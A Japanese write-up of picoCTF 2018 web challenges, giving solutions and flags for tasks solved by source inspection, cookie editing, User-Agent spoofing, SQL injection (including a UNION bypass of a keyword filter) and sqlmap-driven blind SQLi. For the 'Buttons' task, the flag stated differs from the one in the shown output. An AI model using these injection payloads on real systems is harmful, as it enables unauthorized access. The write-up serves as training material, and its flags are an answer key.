picoCTF 2018 Write-up [Web Exploitation]
まえがき
前回の続きです.
今回はWeb Exploitation
のWrite-upを書こうと思います.
Web Exploitation
Inspect Me - Points: 125
Inpect this code! http://2018shell1.picoctf.com:35349
デベロッパーツールを使い,html
とcss
のソースコードを確認するとコメントとしてflag
の断片があります.
html picoCTF{ur_4_real_1nspe
css ct0r_g4dget_098df0d0}
picoCTF{ur_4_real_1nspect0r_g4dget_098df0d0}
Client Side is Still Bad - Points: 150
I forgot my password again, but this time there doesn't seem to be a reset, can you help me? Super Secure Log In
アプローチ:クライアントサイドのソースコードを確認
デベロッパーツールでスクリプトを確認すると以下のようなコードがあり,簡単にパスワードが判明します.
<script type="text/javascript"> function verify() { checkpass = document.getElementById("pass").value; split = 4; if (checkpass.substring(split*7, split*8) == '}') { if (checkpass.substring(split*6, split*7) == 'd366') { if (checkpass.substring(split*5, split*6) == 'd_3b') { if (checkpass.substring(split*4, split*5) == 's_ba') { if (checkpass.substring(split*3, split*4) == 'nt_i') { if (checkpass.substring(split*2, split*3) == 'clie') { if (checkpass.substring(split, split*2) == 'CTF{') { if (checkpass.substring(0,split) == 'pico') { alert("You got the flag!") } } } } } } } } else { alert("Incorrect password"); } } </script>
picoCTF{client_is_bad_3bd366}
Logon - Points: 150
I made a website so now you can log on to! I don't seem to have the admin password. See if you can't get to the flag. My New Website
アプローチ:cookieの書き換え
とりあえずadmin
でログインしようとすると
I'm sorry the admin password is super secure. You're not getting in that way.
適当なUID
,PASS
でログイン(a
,a
)しようとすると
Success: You logged in! Not sure you'll be able to see the flag though. No flag for you
と言われます.
そこでデベロッパーツールを開いてcookie
を確認します.
admin
がFalse
で保存されていることに気づきます.
True
に書き換えてリロードします.
picoCTF{l0g1ns_ar3nt_r34l_2a968c11}
Irish Name Repo - Points: 200
There is a website running at http://2018shell1.picoctf.com:52012 (link). Do you think you can log us in? Try to see if you can login!
アプローチ:SQLi
Support画面を見てみると以下のような記述があります.
Cannot add name Hi. I tried adding my favorite Irish person, Conan O'Brien. But I keep getting something called a SQL Error That's because Conan O'Brien is American.
シングルクォーテーションでSQL Errorがでてることが分かります.
なのでAdmin Log In
フォームのUsername:
で' or 1 = 1 --
すると
Logged in! Your flag is: picoCTF{con4n_r3411y_1snt_1r1sh_c0d93e2f}
picoCTF{con4n_r3411y_1snt_1r1sh_c0d93e2f}
Mr. Robots - Points: 200
Do you see the same things I see? The glimpses of the flag hidden away?
http://2018shell1.picoctf.com:10157
(link)
アプローチ:robots.txt
問題文的にrobots.txt
のことだと思ったので/robots.txt
を見に行きます.
User-agent: * Disallow: /143ce.html
/143ce.html
が怪しいことが分かるのでアクセスしてみます.
So much depends upon a red flag picoCTF{th3_w0rld_1s_4_danger0us_pl4c3_3lli0t_143ce}
picoCTF{th3_w0rld_1s_4_danger0us_pl4c3_3lli0t_143ce}
No Login - Points: 200
Looks like someone started making a website but never got around to making a login, but I heard there was a flag if you were the admin.
http://2018shell1.picoctf.com:52920
(link)
アプローチ:cookieの追加
webページに移動するとFlagボタンがあるのでおしてみると
I'm sorry it doesn't look like you are the admin.
flag
のレスポンスヘッダを確認してみるとVary: Cookie
となっています.
cookie
次第で表示内容を変えているようです.
とりあえずadmin
というcookie
を値1で追加してみます.
Flag: picoCTF{n0l0g0n_n0_pr0bl3m_3184f702}
picoCTF{n0l0g0n_n0_pr0bl3m_3184f702}
結構な悪問なのでは?(エスパーが必要なため)
Secret Agent - Points: 200
Here's a little website that hasn't fully been finished. But I heard google gets all your info anyway. http://2018shell1.picoctf.com:11421 (link)
アプローチ:UserAgentの変更
Flagボタン
をクリックするとUserAgent
が表示されることが分かります.
You're not google! Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
You're not google!
と言われてるので
UA
を変更します.
Chrome
なら
デベロッパーツール
-> More tools
-> Network conditions
-> User agent
で変更できます
UA
をGooglebot
に変更して再度ボタンをクリックすると
picoCTF{s3cr3t_ag3nt_m4n_ed3fe08d}
Buttons - Points: 250
There is a website running at http://2018shell1.picoctf.com:21579(link) . Try to see if you can push their buttons.
アプローチ:POST
- 1つめのボタンを押す
- 2つめのボタンのページ
- 2つめのボタンを押す
boo.html
にとばされる
2つの違いは
<form action="button1.php" method="POST">
<a href="button2.php">Button2</a>
なのでbutton2.php
に対してPOSTをなげます.
> curl -X POST http://2018shell1.picoctf.com:21579/button2.php Well done, your flag is: picoCTF{button_button_whose_got_the_button_ed306c10}%
picoCTF{delusions_about_finding_values_3cc386de}
The Vault - Points: 250
There is a website running at http://2018shell1.picoctf.com:64349 (link) . Try to see if you can login!
<?php ini_set('error_reporting', E_ALL); ini_set('display_errors', 'On'); include "config.php"; $con = new SQLite3($database_file); $username = $_POST["username"]; $password = $_POST["password"]; $debug = $_POST["debug"]; $query = "SELECT 1 FROM users WHERE name='$username' AND password='$password'"; if (intval($debug)) { echo "<pre>"; echo "username: ", htmlspecialchars($username), "\n"; echo "password: ", htmlspecialchars($password), "\n"; echo "SQL query: ", htmlspecialchars($query), "\n"; echo "</pre>"; } //validation check $pattern ="/.*['\"].*OR.*/i"; $user_match = preg_match($pattern, $username); $password_match = preg_match($pattern, $username); if($user_match + $password_match > 0) { echo "<h1>SQLi detected.</h1>"; } else { $result = $con->query($query); $row = $result->fetchArray(); if ($row) { echo "<h1>Logged in!</h1>"; echo "<p>Your flag is: $FLAG</p>"; } else { echo "<h1>Login failed.</h1>"; } } ?>
アプローチ:UNION
コードから普通にSQLi
しようとするとvalidation check
にOR
が引っかかることが分かります.
なので今回はUNION
を使います.
' UNION SELECT 1 FROM users --
とするとvalidation check
を回避できます.
picoCTF{w3lc0m3_t0_th3_vau1t_e4ca2258}
A Simple Question - Points: 650
There is a website running at http://2018shell1.picoctf.com:2644 (link). Try to see if you can answer its question.
アプローチ:Blind SQLi
'
を入力
SQL query: SELECT * FROM answers WHERE answer=''' Warning: SQLite3::query(): Unable to prepare statement: 1, unrecognized token: "'''" in /problems/a-simple-question_4_66cdb0641702e04c08c3830fa64316d2/webroot/answer2.php on line 15 Fatal error: Uncaught Error: Call to a member function fetchArray() on boolean in /problems/a-simple-question_4_66cdb0641702e04c08c3830fa64316d2/webroot/answer2.php:17 Stack trace: #0 {main} thrown in /problems/a-simple-question_4_66cdb0641702e04c08c3830fa64316d2/webroot/answer2.php on line 17
' or 1=1 --
を入力
SQL query: SELECT * FROM answers WHERE answer='' or 1=1 --' You are so close.
a
を入力
SQL query: SELECT * FROM answers WHERE answer='a' Wrong.
answer
クエリがTrue
になったときの反応が通常入力と異なることが分かります.
Blind SQLi
チャンスですね.
ゆとりなのでsqlmap
を使います.
スクリプト書いたほうが汎用性があると思います.
> sqlmap -u "http://2018shell1.picoctf.com:2644/answer2.php" --data="answer=1" -T answers --dump ~~略~~ [00:23:45] [INFO] retrieved: 41AndSixSixths Database: SQLite_masterdb Table: answers [1 entry] +----------------+ | answer | +----------------+ | 41AndSixSixths | +----------------+
answer
が41AndSixSixths
であることが分かります.
SQL query: SELECT * FROM answers WHERE answer='41AndSixSixths' Perfect! Your flag is: picoCTF{qu3stions_ar3_h4rd_28fc1206}
picoCTF{qu3stions_ar3_h4rd_28fc1206}
まとめ
- web問難しくて全然とけない
- 前提知識がかなり必要になってくるので分からない問題はアプローチすら浮かばない
- がんばる